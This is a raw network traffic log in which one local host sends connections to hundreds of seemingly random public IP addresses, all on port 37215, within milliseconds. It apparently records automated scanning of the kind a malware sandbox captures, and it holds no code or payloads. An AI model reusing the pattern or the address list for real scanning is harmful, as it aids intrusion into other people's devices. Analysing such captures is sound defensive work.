Jan 22, 2024 03:59:21.305864096 CET	58015	37215	192.168.2.20	197.142.214.105
Jan 22, 2024 03:59:21.305883884 CET	58015	37215	192.168.2.20	45.35.122.10
Jan 22, 2024 03:59:21.305913925 CET	58015	37215	192.168.2.20	197.20.100.181
Jan 22, 2024 03:59:21.305913925 CET	58015	37215	192.168.2.20	37.0.123.8
Jan 22, 2024 03:59:21.305941105 CET	58015	37215	192.168.2.20	138.62.88.251
Jan 22, 2024 03:59:21.305955887 CET	58015	37215	192.168.2.20	197.110.10.170
Jan 22, 2024 03:59:21.305974960 CET	58015	37215	192.168.2.20	156.114.143.255
Jan 22, 2024 03:59:21.306001902 CET	58015	37215	192.168.2.20	45.120.158.156
Jan 22, 2024 03:59:21.306013107 CET	58015	37215	192.168.2.20	41.152.49.236
Jan 22, 2024 03:59:21.306030989 CET	58015	37215	192.168.2.20	160.38.177.215
Jan 22, 2024 03:59:21.306054115 CET	58015	37215	192.168.2.20	41.110.223.255
Jan 22, 2024 03:59:21.306082010 CET	58015	37215	192.168.2.20	156.168.59.184
Jan 22, 2024 03:59:21.306099892 CET	58015	37215	192.168.2.20	160.235.84.111
Jan 22, 2024 03:59:21.306124926 CET	58015	37215	192.168.2.20	156.65.117.23
Jan 22, 2024 03:59:21.306142092 CET	58015	37215	192.168.2.20	156.65.30.96
Jan 22, 2024 03:59:21.306154013 CET	58015	37215	192.168.2.20	197.205.139.59
Jan 22, 2024 03:59:21.306169987 CET	58015	37215	192.168.2.20	160.42.210.178
Jan 22, 2024 03:59:21.306189060 CET	58015	37215	192.168.2.20	197.178.89.54
Jan 22, 2024 03:59:21.306207895 CET	58015	37215	192.168.2.20	41.165.107.51
Jan 22, 2024 03:59:21.306231022 CET	58015	37215	192.168.2.20	120.122.225.131
Jan 22, 2024 03:59:21.306255102 CET	58015	37215	192.168.2.20	186.198.161.243
Jan 22, 2024 03:59:21.306269884 CET	58015	37215	192.168.2.20	157.201.137.210
Jan 22, 2024 03:59:21.306296110 CET	58015	37215	192.168.2.20	41.121.14.196
Jan 22, 2024 03:59:21.306317091 CET	58015	37215	192.168.2.20	41.36.137.151
Jan 22, 2024 03:59:21.306334019 CET	58015	37215	192.168.2.20	138.176.180.242
Jan 22, 2024 03:59:21.306355000 CET	58015	37215	192.168.2.20	197.186.88.54
Jan 22, 2024 03:59:21.306368113 CET	58015	37215	192.168.2.20	156.186.10.249
Jan 22, 2024 03:59:21.306405067 CET	58015	37215	192.168.2.20	156.67.6.21
Jan 22, 2024 03:59:21.306406021 CET	58015	37215	192.168.2.20	156.41.79.41
Jan 22, 2024 03:59:21.306433916 CET	58015	37215	192.168.2.20	197.107.154.199
Jan 22, 2024 03:59:21.306452990 CET	58015	37215	192.168.2.20	160.211.17.196
Jan 22, 2024 03:59:21.306478024 CET	58015	37215	192.168.2.20	197.150.242.8
Jan 22, 2024 03:59:21.306494951 CET	58015	37215	192.168.2.20	196.87.215.139
Jan 22, 2024 03:59:21.306507111 CET	58015	37215	192.168.2.20	37.238.99.137
Jan 22, 2024 03:59:21.306529999 CET	58015	37215	192.168.2.20	138.115.216.220
Jan 22, 2024 03:59:21.306551933 CET	58015	37215	192.168.2.20	197.60.10.15
Jan 22, 2024 03:59:21.306565046 CET	58015	37215	192.168.2.20	156.226.11.236
Jan 22, 2024 03:59:21.306596041 CET	58015	37215	192.168.2.20	156.253.30.209
Jan 22, 2024 03:59:21.306611061 CET	58015	37215	192.168.2.20	156.93.250.26
Jan 22, 2024 03:59:21.306624889 CET	58015	37215	192.168.2.20	197.33.171.60
Jan 22, 2024 03:59:21.306651115 CET	58015	37215	192.168.2.20	190.170.199.3
Jan 22, 2024 03:59:21.306672096 CET	58015	37215	192.168.2.20	156.113.95.129
Jan 22, 2024 03:59:21.306683064 CET	58015	37215	192.168.2.20	197.142.212.102
Jan 22, 2024 03:59:21.306708097 CET	58015	37215	192.168.2.20	41.110.91.128
Jan 22, 2024 03:59:21.306729078 CET	58015	37215	192.168.2.20	156.183.201.86
Jan 22, 2024 03:59:21.306741953 CET	58015	37215	192.168.2.20	156.14.246.239
Jan 22, 2024 03:59:21.306767941 CET	58015	37215	192.168.2.20	186.37.74.15
Jan 22, 2024 03:59:21.306782007 CET	58015	37215	192.168.2.20	197.18.129.242
Jan 22, 2024 03:59:21.306808949 CET	58015	37215	192.168.2.20	197.72.20.138
Jan 22, 2024 03:59:21.306828976 CET	58015	37215	192.168.2.20	156.142.27.123
Jan 22, 2024 03:59:21.306858063 CET	58015	37215	192.168.2.20	92.205.217.16
Jan 22, 2024 03:59:21.306858063 CET	58015	37215	192.168.2.20	197.235.170.200
Jan 22, 2024 03:59:21.306886911 CET	58015	37215	192.168.2.20	41.81.156.127
Jan 22, 2024 03:59:21.306911945 CET	58015	37215	192.168.2.20	107.233.110.72
Jan 22, 2024 03:59:21.306922913 CET	58015	37215	192.168.2.20	45.166.128.116
Jan 22, 2024 03:59:21.306946993 CET	58015	37215	192.168.2.20	197.157.249.14
Jan 22, 2024 03:59:21.307065010 CET	37948	37215	192.168.2.20	107.151.219.169
Jan 22, 2024 03:59:21.439734936 CET	37215	58015	154.38.18.88	192.168.2.20
Jan 22, 2024 03:59:21.463779926 CET	37215	37948	107.151.219.169	192.168.2.20
Jan 22, 2024 03:59:21.464215994 CET	37948	37215	192.168.2.20	107.151.219.169
Jan 22, 2024 03:59:21.464381933 CET	58015	37215	192.168.2.20	156.106.14.222
Jan 22, 2024 03:59:21.464416981 CET	58015	37215	192.168.2.20	94.242.214.142
Jan 22, 2024 03:59:21.464520931 CET	58015	37215	192.168.2.20	197.217.181.9
Jan 22, 2024 03:59:21.464593887 CET	58015	37215	192.168.2.20	197.210.168.32
Jan 22, 2024 03:59:21.464620113 CET	58015	37215	192.168.2.20	156.110.230.86
Jan 22, 2024 03:59:21.464637041 CET	58015	37215	192.168.2.20	95.187.9.161
Jan 22, 2024 03:59:21.464637041 CET	58015	37215	192.168.2.20	41.84.254.252
Jan 22, 2024 03:59:21.464680910 CET	58015	37215	192.168.2.20	138.98.251.172
Jan 22, 2024 03:59:21.464718103 CET	58015	37215	192.168.2.20	41.42.240.162
Jan 22, 2024 03:59:21.464721918 CET	58015	37215	192.168.2.20	41.113.147.177
Jan 22, 2024 03:59:21.464730024 CET	58015	37215	192.168.2.20	196.170.68.61
Jan 22, 2024 03:59:21.464770079 CET	58015	37215	192.168.2.20	41.97.174.38
Jan 22, 2024 03:59:21.464790106 CET	58015	37215	192.168.2.20	41.91.20.48
Jan 22, 2024 03:59:21.464799881 CET	58015	37215	192.168.2.20	190.161.197.160
Jan 22, 2024 03:59:21.464827061 CET	58015	37215	192.168.2.20	156.22.240.33
Jan 22, 2024 03:59:21.464848042 CET	58015	37215	192.168.2.20	41.11.9.197
Jan 22, 2024 03:59:21.464878082 CET	58015	37215	192.168.2.20	102.37.106.202
Jan 22, 2024 03:59:21.464910030 CET	58015	37215	192.168.2.20	222.84.100.141
Jan 22, 2024 03:59:21.464941025 CET	58015	37215	192.168.2.20	156.250.88.118
Jan 22, 2024 03:59:21.464981079 CET	58015	37215	192.168.2.20	94.130.66.123
Jan 22, 2024 03:59:21.464998007 CET	58015	37215	192.168.2.20	196.55.33.112
Jan 22, 2024 03:59:21.465028048 CET	58015	37215	192.168.2.20	197.135.234.13
Jan 22, 2024 03:59:21.465097904 CET	58015	37215	192.168.2.20	197.197.26.75
Jan 22, 2024 03:59:21.465123892 CET	58015	37215	192.168.2.20	41.41.67.62
Jan 22, 2024 03:59:21.465157032 CET	58015	37215	192.168.2.20	41.193.173.182
Jan 22, 2024 03:59:21.465178013 CET	58015	37215	192.168.2.20	197.121.95.127
Jan 22, 2024 03:59:21.465209961 CET	58015	37215	192.168.2.20	41.251.27.159
Jan 22, 2024 03:59:21.465208054 CET	58015	37215	192.168.2.20	156.69.37.125
Jan 22, 2024 03:59:21.465240955 CET	58015	37215	192.168.2.20	222.222.237.183
Jan 22, 2024 03:59:21.465276957 CET	58015	37215	192.168.2.20	156.79.75.216
Jan 22, 2024 03:59:21.465296030 CET	58015	37215	192.168.2.20	197.190.251.45
Jan 22, 2024 03:59:21.465332985 CET	58015	37215	192.168.2.20	197.159.201.125
Jan 22, 2024 03:59:21.465363026 CET	58015	37215	192.168.2.20	156.92.249.97
Jan 22, 2024 03:59:21.465388060 CET	58015	37215	192.168.2.20	156.54.231.187
Jan 22, 2024 03:59:21.465445042 CET	58015	37215	192.168.2.20	41.96.176.103
Jan 22, 2024 03:59:21.465481043 CET	58015	37215	192.168.2.20	190.62.48.28
Jan 22, 2024 03:59:21.465508938 CET	58015	37215	192.168.2.20	156.202.153.174
Jan 22, 2024 03:59:21.465540886 CET	58015	37215	192.168.2.20	197.50.242.118
Jan 22, 2024 03:59:21.465540886 CET	58015	37215	192.168.2.20	120.137.130.167
Jan 22, 2024 03:59:21.465569973 CET	58015	37215	192.168.2.20	196.185.1.168
Jan 22, 2024 03:59:21.465594053 CET	58015	37215	192.168.2.20	197.126.27.106
Jan 22, 2024 03:59:21.465621948 CET	58015	37215	192.168.2.20	37.248.197.141
Jan 22, 2024 03:59:21.465656996 CET	58015	37215	192.168.2.20	197.7.96.178
Jan 22, 2024 03:59:21.465730906 CET	58015	37215	192.168.2.20	156.134.16.36
Jan 22, 2024 03:59:21.465749979 CET	58015	37215	192.168.2.20	197.92.166.238
Jan 22, 2024 03:59:21.465774059 CET	58015	37215	192.168.2.20	160.246.87.11
Jan 22, 2024 03:59:21.465807915 CET	58015	37215	192.168.2.20	41.72.9.153
Jan 22, 2024 03:59:21.465807915 CET	58015	37215	192.168.2.20	41.149.190.199
Jan 22, 2024 03:59:21.465837002 CET	58015	37215	192.168.2.20	156.220.83.150
Jan 22, 2024 03:59:21.465867996 CET	58015	37215	192.168.2.20	156.233.238.27
Jan 22, 2024 03:59:21.465918064 CET	58015	37215	192.168.2.20	156.206.159.156
Jan 22, 2024 03:59:21.465934992 CET	58015	37215	192.168.2.20	156.90.184.17
Jan 22, 2024 03:59:21.465976000 CET	58015	37215	192.168.2.20	41.140.98.191
Jan 22, 2024 03:59:21.465979099 CET	58015	37215	192.168.2.20	196.10.140.126
Jan 22, 2024 03:59:21.466015100 CET	58015	37215	192.168.2.20	95.132.163.174
Jan 22, 2024 03:59:21.466044903 CET	58015	37215	192.168.2.20	197.91.93.54
Jan 22, 2024 03:59:21.466067076 CET	58015	37215	192.168.2.20	197.75.57.146
Jan 22, 2024 03:59:21.466097116 CET	58015	37215	192.168.2.20	156.40.176.98
Jan 22, 2024 03:59:21.466135979 CET	58015	37215	192.168.2.20	122.122.214.240
Jan 22, 2024 03:59:21.466167927 CET	58015	37215	192.168.2.20	197.52.1.183
Jan 22, 2024 03:59:21.466196060 CET	58015	37215	192.168.2.20	41.89.166.234
Jan 22, 2024 03:59:21.466223001 CET	58015	37215	192.168.2.20	181.201.97.34
Jan 22, 2024 03:59:21.466274023 CET	58015	37215	192.168.2.20	41.76.225.89
Jan 22, 2024 03:59:21.466284990 CET	58015	37215	192.168.2.20	197.22.181.187
Jan 22, 2024 03:59:21.466305017 CET	58015	37215	192.168.2.20	160.206.247.180
Jan 22, 2024 03:59:21.466345072 CET	58015	37215	192.168.2.20	222.151.76.177
Jan 22, 2024 03:59:21.466377020 CET	58015	37215	192.168.2.20	156.93.132.244
Jan 22, 2024 03:59:21.466399908 CET	58015	37215	192.168.2.20	102.107.69.214
Jan 22, 2024 03:59:21.466425896 CET	58015	37215	192.168.2.20	156.15.82.156
Jan 22, 2024 03:59:21.466458082 CET	58015	37215	192.168.2.20	157.116.230.244
Jan 22, 2024 03:59:21.466485977 CET	58015	37215	192.168.2.20	196.134.76.116
Jan 22, 2024 03:59:21.466514111 CET	58015	37215	192.168.2.20	156.231.75.5
Jan 22, 2024 03:59:21.466551065 CET	58015	37215	192.168.2.20	156.67.160.210
Jan 22, 2024 03:59:21.466588020 CET	58015	37215	192.168.2.20	122.217.123.148
Jan 22, 2024 03:59:21.466609001 CET	58015	37215	192.168.2.20	156.171.52.191
Jan 22, 2024 03:59:21.466640949 CET	58015	37215	192.168.2.20	95.70.184.13
Jan 22, 2024 03:59:21.466666937 CET	58015	37215	192.168.2.20	41.117.221.76
Jan 22, 2024 03:59:21.466696024 CET	58015	37215	192.168.2.20	41.97.215.81
Jan 22, 2024 03:59:21.466722965 CET	58015	37215	192.168.2.20	121.106.231.52
Jan 22, 2024 03:59:21.466758966 CET	58015	37215	192.168.2.20	41.6.201.164
Jan 22, 2024 03:59:21.466787100 CET	58015	37215	192.168.2.20	157.236.242.33
Jan 22, 2024 03:59:21.466811895 CET	58015	37215	192.168.2.20	41.235.81.21
Jan 22, 2024 03:59:21.466846943 CET	58015	37215	192.168.2.20	197.41.235.5
Jan 22, 2024 03:59:21.466866016 CET	58015	37215	192.168.2.20	102.50.191.255
Jan 22, 2024 03:59:21.466902971 CET	58015	37215	192.168.2.20	156.4.45.34
Jan 22, 2024 03:59:21.466932058 CET	58015	37215	192.168.2.20	156.29.73.132
Jan 22, 2024 03:59:21.466955900 CET	58015	37215	192.168.2.20	197.16.89.128
Jan 22, 2024 03:59:21.466955900 CET	37215	58015	154.37.25.170	192.168.2.20
Jan 22, 2024 03:59:21.466998100 CET	58015	37215	192.168.2.20	197.210.186.185
Jan 22, 2024 03:59:21.467030048 CET	58015	37215	192.168.2.20	156.92.204.77
Jan 22, 2024 03:59:21.467057943 CET	58015	37215	192.168.2.20	92.160.45.118
Jan 22, 2024 03:59:21.467088938 CET	58015	37215	192.168.2.20	186.69.219.50
Jan 22, 2024 03:59:21.467118025 CET	58015	37215	192.168.2.20	92.143.177.20
Jan 22, 2024 03:59:21.467148066 CET	58015	37215	192.168.2.20	190.52.211.132
Jan 22, 2024 03:59:21.467170000 CET	58015	37215	192.168.2.20	45.91.107.241
Jan 22, 2024 03:59:21.467206955 CET	58015	37215	192.168.2.20	197.126.167.121
Jan 22, 2024 03:59:21.467233896 CET	58015	37215	192.168.2.20	92.105.98.59
Jan 22, 2024 03:59:21.467263937 CET	58015	37215	192.168.2.20	196.168.124.93
Jan 22, 2024 03:59:21.467293978 CET	58015	37215	192.168.2.20	41.33.133.160
Jan 22, 2024 03:59:21.467323065 CET	58015	37215	192.168.2.20	37.35.36.138
Jan 22, 2024 03:59:21.467345953 CET	58015	37215	192.168.2.20	121.62.33.202
Jan 22, 2024 03:59:21.467384100 CET	58015	37215	192.168.2.20	94.5.68.17
Jan 22, 2024 03:59:21.467406988 CET	58015	37215	192.168.2.20	156.20.104.10
Jan 22, 2024 03:59:21.467446089 CET	58015	37215	192.168.2.20	156.222.189.42
Jan 22, 2024 03:59:21.467466116 CET	58015	37215	192.168.2.20	41.112.203.116
Jan 22, 2024 03:59:21.467494011 CET	58015	37215	192.168.2.20	156.158.66.113
Jan 22, 2024 03:59:21.467528105 CET	58015	37215	192.168.2.20	156.156.100.48
Jan 22, 2024 03:59:21.467556953 CET	58015	37215	192.168.2.20	156.157.133.5
Jan 22, 2024 03:59:21.467586040 CET	58015	37215	192.168.2.20	41.212.175.106
Jan 22, 2024 03:59:21.467614889 CET	58015	37215	192.168.2.20	186.237.211.180
Jan 22, 2024 03:59:21.467645884 CET	58015	37215	192.168.2.20	41.0.64.95
Jan 22, 2024 03:59:21.467669010 CET	58015	37215	192.168.2.20	41.199.200.69
Jan 22, 2024 03:59:21.467704058 CET	58015	37215	192.168.2.20	41.164.174.64
Jan 22, 2024 03:59:21.467731953 CET	58015	37215	192.168.2.20	181.109.247.188
Jan 22, 2024 03:59:21.467766047 CET	58015	37215	192.168.2.20	41.158.89.62
Jan 22, 2024 03:59:21.467792988 CET	58015	37215	192.168.2.20	197.108.231.63
Jan 22, 2024 03:59:21.467822075 CET	58015	37215	192.168.2.20	197.11.18.141
Jan 22, 2024 03:59:21.467849016 CET	58015	37215	192.168.2.20	102.63.0.106
Jan 22, 2024 03:59:21.467883110 CET	58015	37215	192.168.2.20	122.134.206.206
Jan 22, 2024 03:59:21.467910051 CET	58015	37215	192.168.2.20	41.16.38.116
Jan 22, 2024 03:59:21.467938900 CET	58015	37215	192.168.2.20	120.181.246.165
Jan 22, 2024 03:59:21.467963934 CET	58015	37215	192.168.2.20	197.68.77.112
Jan 22, 2024 03:59:21.467998028 CET	58015	37215	192.168.2.20	94.190.139.173
Jan 22, 2024 03:59:21.468028069 CET	58015	37215	192.168.2.20	197.119.139.221
Jan 22, 2024 03:59:21.468055010 CET	58015	37215	192.168.2.20	156.235.34.26
Jan 22, 2024 03:59:21.468085051 CET	58015	37215	192.168.2.20	41.61.27.136
Jan 22, 2024 03:59:21.468111038 CET	58015	37215	192.168.2.20	181.37.223.204
Jan 22, 2024 03:59:21.468133926 CET	58015	37215	192.168.2.20	41.75.206.188
Jan 22, 2024 03:59:21.468173027 CET	58015	37215	192.168.2.20	190.16.154.163
Jan 22, 2024 03:59:21.468198061 CET	58015	37215	192.168.2.20	37.50.233.191
Jan 22, 2024 03:59:21.468233109 CET	58015	37215	192.168.2.20	41.32.246.206
Jan 22, 2024 03:59:21.468261957 CET	58015	37215	192.168.2.20	197.121.168.236
Jan 22, 2024 03:59:21.468291044 CET	58015	37215	192.168.2.20	156.86.66.150
Jan 22, 2024 03:59:21.468321085 CET	58015	37215	192.168.2.20	156.118.55.177
Jan 22, 2024 03:59:21.468352079 CET	58015	37215	192.168.2.20	41.12.48.81
Jan 22, 2024 03:59:21.468372107 CET	58015	37215	192.168.2.20	197.18.226.96
Jan 22, 2024 03:59:21.468413115 CET	58015	37215	192.168.2.20	156.183.145.156
Jan 22, 2024 03:59:21.468441010 CET	58015	37215	192.168.2.20	156.242.51.199
Jan 22, 2024 03:59:21.468466043 CET	58015	37215	192.168.2.20	197.243.203.192
Jan 22, 2024 03:59:21.468502998 CET	58015	37215	192.168.2.20	197.36.49.234
Jan 22, 2024 03:59:21.468524933 CET	58015	37215	192.168.2.20	197.46.114.191
Jan 22, 2024 03:59:21.468569040 CET	58015	37215	192.168.2.20	197.53.221.177
Jan 22, 2024 03:59:21.468583107 CET	58015	37215	192.168.2.20	95.225.18.143
Jan 22, 2024 03:59:21.468621016 CET	58015	37215	192.168.2.20	94.146.58.74
Jan 22, 2024 03:59:21.468650103 CET	58015	37215	192.168.2.20	156.31.105.63
Jan 22, 2024 03:59:21.468682051 CET	58015	37215	192.168.2.20	156.169.127.117
Jan 22, 2024 03:59:21.468700886 CET	58015	37215	192.168.2.20	156.98.178.103
Jan 22, 2024 03:59:21.468739033 CET	58015	37215	192.168.2.20	107.213.57.68
Jan 22, 2024 03:59:21.468766928 CET	58015	37215	192.168.2.20	94.165.87.213
Jan 22, 2024 03:59:21.468805075 CET	58015	37215	192.168.2.20	41.34.163.197
Jan 22, 2024 03:59:21.468828917 CET	58015	37215	192.168.2.20	156.198.230.228
Jan 22, 2024 03:59:21.468849897 CET	58015	37215	192.168.2.20	197.250.86.210
Jan 22, 2024 03:59:21.468888044 CET	58015	37215	192.168.2.20	197.181.107.91
Jan 22, 2024 03:59:21.468914032 CET	58015	37215	192.168.2.20	120.12.171.174
Jan 22, 2024 03:59:21.468944073 CET	58015	37215	192.168.2.20	156.100.208.58
Jan 22, 2024 03:59:21.468966961 CET	58015	37215	192.168.2.20	197.39.62.67
Jan 22, 2024 03:59:21.469000101 CET	58015	37215	192.168.2.20	156.147.244.197
Jan 22, 2024 03:59:21.469036102 CET	58015	37215	192.168.2.20	197.193.251.152
Jan 22, 2024 03:59:21.469067097 CET	58015	37215	192.168.2.20	156.130.151.238
Jan 22, 2024 03:59:21.469093084 CET	58015	37215	192.168.2.20	156.121.116.127
Jan 22, 2024 03:59:21.469121933 CET	58015	37215	192.168.2.20	197.125.130.48
Jan 22, 2024 03:59:21.469145060 CET	58015	37215	192.168.2.20	156.190.168.171
Jan 22, 2024 03:59:21.469182014 CET	58015	37215	192.168.2.20	95.233.3.68
Jan 22, 2024 03:59:21.469209909 CET	58015	37215	192.168.2.20	197.208.186.215
Jan 22, 2024 03:59:21.469240904 CET	58015	37215	192.168.2.20	41.55.116.213
Jan 22, 2024 03:59:21.469270945 CET	58015	37215	192.168.2.20	120.63.17.15
Jan 22, 2024 03:59:21.469297886 CET	58015	37215	192.168.2.20	41.172.146.240
Jan 22, 2024 03:59:21.469321966 CET	58015	37215	192.168.2.20	95.200.249.67
Jan 22, 2024 03:59:21.469351053 CET	58015	37215	192.168.2.20	41.141.73.20
Jan 22, 2024 03:59:21.469386101 CET	58015	37215	192.168.2.20	41.177.243.186
Jan 22, 2024 03:59:21.469419003 CET	58015	37215	192.168.2.20	41.246.7.176
Jan 22, 2024 03:59:21.469446898 CET	58015	37215	192.168.2.20	197.24.114.116
Jan 22, 2024 03:59:21.469475985 CET	58015	37215	192.168.2.20	120.159.63.85
Jan 22, 2024 03:59:21.469506025 CET	58015	37215	192.168.2.20	154.94.236.157
Jan 22, 2024 03:59:21.469533920 CET	58015	37215	192.168.2.20	190.187.18.208
Jan 22, 2024 03:59:21.469564915 CET	58015	37215	192.168.2.20	222.143.141.48
Jan 22, 2024 03:59:21.469592094 CET	58015	37215	192.168.2.20	41.141.96.95
Jan 22, 2024 03:59:21.469624996 CET	58015	37215	192.168.2.20	156.232.152.185
Jan 22, 2024 03:59:21.469647884 CET	58015	37215	192.168.2.20	197.154.68.77
Jan 22, 2024 03:59:21.469677925 CET	58015	37215	192.168.2.20	154.69.19.176
Jan 22, 2024 03:59:21.469708920 CET	58015	37215	192.168.2.20	197.199.164.60
Jan 22, 2024 03:59:21.469754934 CET	58015	37215	192.168.2.20	122.86.255.124
Jan 22, 2024 03:59:21.469760895 CET	58015	37215	192.168.2.20	41.37.21.243
Jan 22, 2024 03:59:21.469794035 CET	58015	37215	192.168.2.20	41.24.180.215
Jan 22, 2024 03:59:21.469826937 CET	58015	37215	192.168.2.20	197.197.210.195
Jan 22, 2024 03:59:21.469857931 CET	58015	37215	192.168.2.20	121.189.78.64
Jan 22, 2024 03:59:21.469902039 CET	58015	37215	192.168.2.20	41.125.35.99
Jan 22, 2024 03:59:21.469928026 CET	58015	37215	192.168.2.20	37.37.22.134
Jan 22, 2024 03:59:21.469938040 CET	58015	37215	192.168.2.20	197.126.44.89
Jan 22, 2024 03:59:21.469973087 CET	58015	37215	192.168.2.20	197.62.36.127
Jan 22, 2024 03:59:21.469996929 CET	58015	37215	192.168.2.20	41.143.75.215
Jan 22, 2024 03:59:21.470031023 CET	58015	37215	192.168.2.20	41.112.228.113
Jan 22, 2024 03:59:21.470053911 CET	58015	37215	192.168.2.20	41.129.227.209
Jan 22, 2024 03:59:21.470088959 CET	58015	37215	192.168.2.20	156.205.47.14
Jan 22, 2024 03:59:21.470118999 CET	58015	37215	192.168.2.20	197.151.154.165
Jan 22, 2024 03:59:21.470143080 CET	58015	37215	192.168.2.20	156.29.95.48
Jan 22, 2024 03:59:21.470180988 CET	58015	37215	192.168.2.20	156.64.240.36
Jan 22, 2024 03:59:21.470208883 CET	58015	37215	192.168.2.20	197.127.12.58
Jan 22, 2024 03:59:21.470233917 CET	58015	37215	192.168.2.20	41.196.236.148
Jan 22, 2024 03:59:21.470264912 CET	58015	37215	192.168.2.20	160.135.221.194
Jan 22, 2024 03:59:21.470287085 CET	58015	37215	192.168.2.20	197.2.165.161
Jan 22, 2024 03:59:21.470323086 CET	58015	37215	192.168.2.20	121.128.226.4
Jan 22, 2024 03:59:21.470346928 CET	58015	37215	192.168.2.20	181.92.27.207
Jan 22, 2024 03:59:21.470383883 CET	58015	37215	192.168.2.20	41.160.81.97
Jan 22, 2024 03:59:21.470406055 CET	58015	37215	192.168.2.20	41.90.69.158
Jan 22, 2024 03:59:21.470441103 CET	58015	37215	192.168.2.20	41.113.202.90
Jan 22, 2024 03:59:21.470473051 CET	58015	37215	192.168.2.20	160.47.25.38
Jan 22, 2024 03:59:21.470503092 CET	58015	37215	192.168.2.20	41.153.245.135
Jan 22, 2024 03:59:21.470530033 CET	58015	37215	192.168.2.20	156.70.153.111
Jan 22, 2024 03:59:21.470560074 CET	58015	37215	192.168.2.20	41.37.119.9
Jan 22, 2024 03:59:21.470588923 CET	58015	37215	192.168.2.20	181.235.148.2
Jan 22, 2024 03:59:21.470618010 CET	58015	37215	192.168.2.20	41.165.34.106
Jan 22, 2024 03:59:21.470649004 CET	58015	37215	192.168.2.20	121.91.148.15
Jan 22, 2024 03:59:21.470670938 CET	58015	37215	192.168.2.20	197.222.167.84
Jan 22, 2024 03:59:21.470704079 CET	58015	37215	192.168.2.20	41.130.180.13
Jan 22, 2024 03:59:21.470747948 CET	58015	37215	192.168.2.20	197.73.42.221
Jan 22, 2024 03:59:21.470765114 CET	58015	37215	192.168.2.20	41.226.194.100
Jan 22, 2024 03:59:21.470793962 CET	58015	37215	192.168.2.20	94.55.195.38
Jan 22, 2024 03:59:21.470837116 CET	58015	37215	192.168.2.20	197.65.86.194
Jan 22, 2024 03:59:21.470858097 CET	58015	37215	192.168.2.20	45.184.160.2
Jan 22, 2024 03:59:21.470874071 CET	58015	37215	192.168.2.20	156.38.216.187
Jan 22, 2024 03:59:21.470909119 CET	58015	37215	192.168.2.20	156.128.63.15
Jan 22, 2024 03:59:21.470947027 CET	58015	37215	192.168.2.20	197.55.192.136
Jan 22, 2024 03:59:21.470963001 CET	58015	37215	192.168.2.20	197.114.9.148
Jan 22, 2024 03:59:21.470997095 CET	58015	37215	192.168.2.20	37.140.183.243
Jan 22, 2024 03:59:21.471020937 CET	58015	37215	192.168.2.20	154.190.185.65
Jan 22, 2024 03:59:21.471057892 CET	58015	37215	192.168.2.20	197.1.117.6
Jan 22, 2024 03:59:21.471081972 CET	58015	37215	192.168.2.20	156.80.240.109
Jan 22, 2024 03:59:21.471115112 CET	58015	37215	192.168.2.20	156.23.18.0
Jan 22, 2024 03:59:21.471143961 CET	58015	37215	192.168.2.20	41.91.81.107
Jan 22, 2024 03:59:21.471174002 CET	58015	37215	192.168.2.20	156.193.239.100
Jan 22, 2024 03:59:21.471204042 CET	58015	37215	192.168.2.20	156.62.71.247
Jan 22, 2024 03:59:21.471231937 CET	58015	37215	192.168.2.20	154.78.121.81
Jan 22, 2024 03:59:21.471255064 CET	58015	37215	192.168.2.20	197.145.189.4
Jan 22, 2024 03:59:21.471291065 CET	58015	37215	192.168.2.20	197.241.55.182
Jan 22, 2024 03:59:21.471318960 CET	58015	37215	192.168.2.20	102.146.127.225
Jan 22, 2024 03:59:21.471357107 CET	58015	37215	192.168.2.20	154.61.204.36
Jan 22, 2024 03:59:21.471376896 CET	58015	37215	192.168.2.20	121.51.147.249
Jan 22, 2024 03:59:21.471421957 CET	58015	37215	192.168.2.20	156.251.244.16
Jan 22, 2024 03:59:21.471446037 CET	58015	37215	192.168.2.20	196.80.245.155
Jan 22, 2024 03:59:21.471465111 CET	58015	37215	192.168.2.20	156.74.190.87
Jan 22, 2024 03:59:21.471501112 CET	58015	37215	192.168.2.20	95.219.112.58
Jan 22, 2024 03:59:21.471532106 CET	58015	37215	192.168.2.20	156.34.107.113
Jan 22, 2024 03:59:21.471558094 CET	58015	37215	192.168.2.20	157.121.109.168
Jan 22, 2024 03:59:21.471604109 CET	58015	37215	192.168.2.20	156.9.66.37
Jan 22, 2024 03:59:21.471607924 CET	58015	37215	192.168.2.20	95.161.9.185
Jan 22, 2024 03:59:21.471647024 CET	58015	37215	192.168.2.20	156.252.15.151
Jan 22, 2024 03:59:21.471677065 CET	58015	37215	192.168.2.20	197.32.96.113
Jan 22, 2024 03:59:21.471698999 CET	58015	37215	192.168.2.20	197.214.24.135
Jan 22, 2024 03:59:21.471729040 CET	58015	37215	192.168.2.20	190.154.242.211
Jan 22, 2024 03:59:21.471755981 CET	58015	37215	192.168.2.20	197.47.31.130
Jan 22, 2024 03:59:21.471795082 CET	58015	37215	192.168.2.20	196.39.107.102
Jan 22, 2024 03:59:21.471816063 CET	58015	37215	192.168.2.20	41.177.81.60
Jan 22, 2024 03:59:21.471844912 CET	58015	37215	192.168.2.20	157.15.43.190
Jan 22, 2024 03:59:21.471882105 CET	58015	37215	192.168.2.20	197.57.109.45
Jan 22, 2024 03:59:21.471904039 CET	58015	37215	192.168.2.20	122.115.61.2
Jan 22, 2024 03:59:21.471956015 CET	58015	37215	192.168.2.20	156.49.15.119
Jan 22, 2024 03:59:21.471971035 CET	58015	37215	192.168.2.20	197.83.143.248
Jan 22, 2024 03:59:21.471997976 CET	58015	37215	192.168.2.20	197.21.108.186
Jan 22, 2024 03:59:21.472027063 CET	58015	37215	192.168.2.20	156.72.240.205
Jan 22, 2024 03:59:21.472048998 CET	58015	37215	192.168.2.20	197.185.50.145
Jan 22, 2024 03:59:21.472093105 CET	58015	37215	192.168.2.20	156.146.192.200
Jan 22, 2024 03:59:21.472109079 CET	58015	37215	192.168.2.20	197.164.201.20
Jan 22, 2024 03:59:21.472145081 CET	58015	37215	192.168.2.20	197.161.238.16
Jan 22, 2024 03:59:21.472166061 CET	58015	37215	192.168.2.20	41.12.76.213
Jan 22, 2024 03:59:21.472198009 CET	58015	37215	192.168.2.20	95.185.107.155
Jan 22, 2024 03:59:21.472238064 CET	58015	37215	192.168.2.20	186.2.165.240
Jan 22, 2024 03:59:21.472259998 CET	58015	37215	192.168.2.20	156.9.176.219
Jan 22, 2024 03:59:21.472290039 CET	58015	37215	192.168.2.20	41.155.55.89
Jan 22, 2024 03:59:21.472320080 CET	58015	37215	192.168.2.20	120.89.61.185
Jan 22, 2024 03:59:21.472342968 CET	58015	37215	192.168.2.20	197.115.93.15
Jan 22, 2024 03:59:21.472378969 CET	58015	37215	192.168.2.20	107.78.163.73
Jan 22, 2024 03:59:21.472414017 CET	58015	37215	192.168.2.20	196.29.134.210
